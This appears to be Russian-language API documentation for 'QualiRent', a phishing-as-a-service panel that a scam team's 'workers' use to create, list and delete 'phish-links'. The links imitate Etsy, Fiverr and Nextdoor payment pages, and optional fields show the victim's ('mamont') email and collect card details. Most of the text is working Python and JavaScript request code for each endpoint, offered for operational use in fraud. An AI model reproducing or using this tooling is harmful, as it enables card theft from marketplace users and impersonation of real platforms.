Документация QualiRent API
Api url - https://jnhnj.lol/api
apiKey - для каждого воркера он свой, получить его можно в боте тимы в разделе Рабочая панель » Api
параметр со * — обязательный параметр
во всех запросах обязателен header параметры apiKey и Content-Type
Создание ссылок
POST запрос на url https://jnhnj.lol/api/phish-links
title* (string) - название
photoUrl* (string) - ссылка на картинку
price* (string) - цена
location* (string) - список локаций ниже
platform* (string) - список платформ ниже
isVerifMode (boolean) - вериф или нет (по умолчанию выключен)
extraData (string) - дополнительные данные для каждой платформы (уточнять у кодера)
mamontEmail (string) - почта мамонта (будет показана на странице платеги)
isNeedEmail (boolean) - спрашивать почту на вводе карты или нет (по умолчанию выключено)
- etsy - etsy.com
- fiverr - fiverr.com
- nextdoor - nextdoor.co.uk
try: response = requests.post( 'https://jnhnj.lol/api/phish-links', json={ 'title': 'Cool view', 'photoUrl': 'https://www.photo-paysage.com/albums/userpics/10001/thumb_Balade-chemin-hautes-pyrenees-16.JPG', 'price': "5000quot;, 'location': 'eu', 'platform': 'fiverr', 'extraData': json.dumps({ 'senderName': 'senderName', 'receiverName': 'receiverName', 'sellerAvatarUrl': 'https://www.photo-paysage.com/albums/userpics/10001/thumb_Balade-chemin-hautes-pyrenees-16.JPG', }), }, headers={ 'apiKey': 'apiKey', 'Content-Type': 'application/json' }, ) response.raise_for_status() data = response.json() url = data.get('url') short_url = data.get('shortUrl') link_data = data.get('linkData') print({'url': url, 'shortUrl': short_url, 'linkData': link_data}) except requests.exceptions.RequestException as e: print(f"Error: {e}")
try { const request = await axios.post( 'https://jnhnj.lol/api/phish-links', { title: 'Cool view', photoUrl: 'https://www.photo-paysage.com/albums/userpics/10001/thumb_Balade-chemin-hautes-pyrenees-16.JPG', price: "5000quot;, location: 'eu', platform: 'fiverr', extraData: JSON.stringify({ senderName: 'senderName', receiverName: 'receiverName', sellerAvatarUrl: 'https://www.photo-paysage.com/albums/userpics/10001/thumb_Balade-chemin-hautes-pyrenees-16.JPG', }), }, { headers: { apiKey: 'apiKey', 'Content-Type': 'application/json', }, } ); const { url, shortUrl, linkData } = request?.data; console.log({ url, shortUrl, linkData }); } catch (e) { console.error(e); }
Получение ссылок
Получение всех ссылок пользователя:
GET запрос на url https://jnhnj.lol/api/phish-links
try: response = requests.get( 'https://jnhnj.lol/api/phish-links', headers={ 'apiKey': 'apiKey', 'Content-Type': 'application/json' }, ) response.raise_for_status() links_list = response.json() print(links_list) except requests.exceptions.RequestException as e: print(f"Error: {e}")
try { const request = await axios.get( 'https://jnhnj.lol/api/phish-links', { headers: { apiKey: 'apiKey', 'Content-Type': 'application/json', }, } ); const linksList = request?.data; console.log(linksList); } catch (e) { console.error(e); }
Получение ссылки пользователя по id:
GET запрос на url https://jnhnj.lol/api/phish-links/:id
try: response = requests.get( f'https://jnhnj.lol/api/phish-links/{link_id}', headers={ 'apiKey': 'apiKey', 'Content-Type': 'application/json' }, ) response.raise_for_status() link_data = response.json() print(link_data) except requests.exceptions.RequestException as e: print(f"Error: {e}")
try { const request = await axios.get( `https://jnhnj.lol/api/phish-links/${linkId}`, { headers: { apiKey: 'apiKey', 'Content-Type': 'application/json', }, } ); const linkData = request?.data; console.log(linkData); } catch (e) { console.error(e); }
Удаление ссылок
Удаление всех ссылок пользователя:
DELETE запрос на url https://jnhnj.lol/api/phish-links
try: response = requests.delete( 'https://jnhnj.lol/api/phish-links', headers={ 'apiKey': 'apiKey', 'Content-Type': 'application/json' }, ) response.raise_for_status() except requests.exceptions.RequestException as e: print(f"Error: {e}")
try { const request = await axios.delete( 'https://jnhnj.lol/api/phish-links', { headers: { apiKey: 'apiKey', 'Content-Type': 'application/json', }, } ); } catch (e) { console.error(e); }
Удаление ссылки пользователя по id:
DELETE запрос на url https://jnhnj.lol/api/phish-links/:id
try: response = requests.delete( f'https://jnhnj.lol/api/phish-links/{link_id}', headers={ 'apiKey': 'apiKey', 'Content-Type': 'application/json' }, ) response.raise_for_status() except requests.exceptions.RequestException as e: print(f"Error: {e}")
try { const request = await axios.delete( `https://jnhnj.lol/api/phish-links/${linkId}`, { headers: { apiKey: 'apiKey', 'Content-Type': 'application/json', }, } ); } catch (e) { console.error(e); }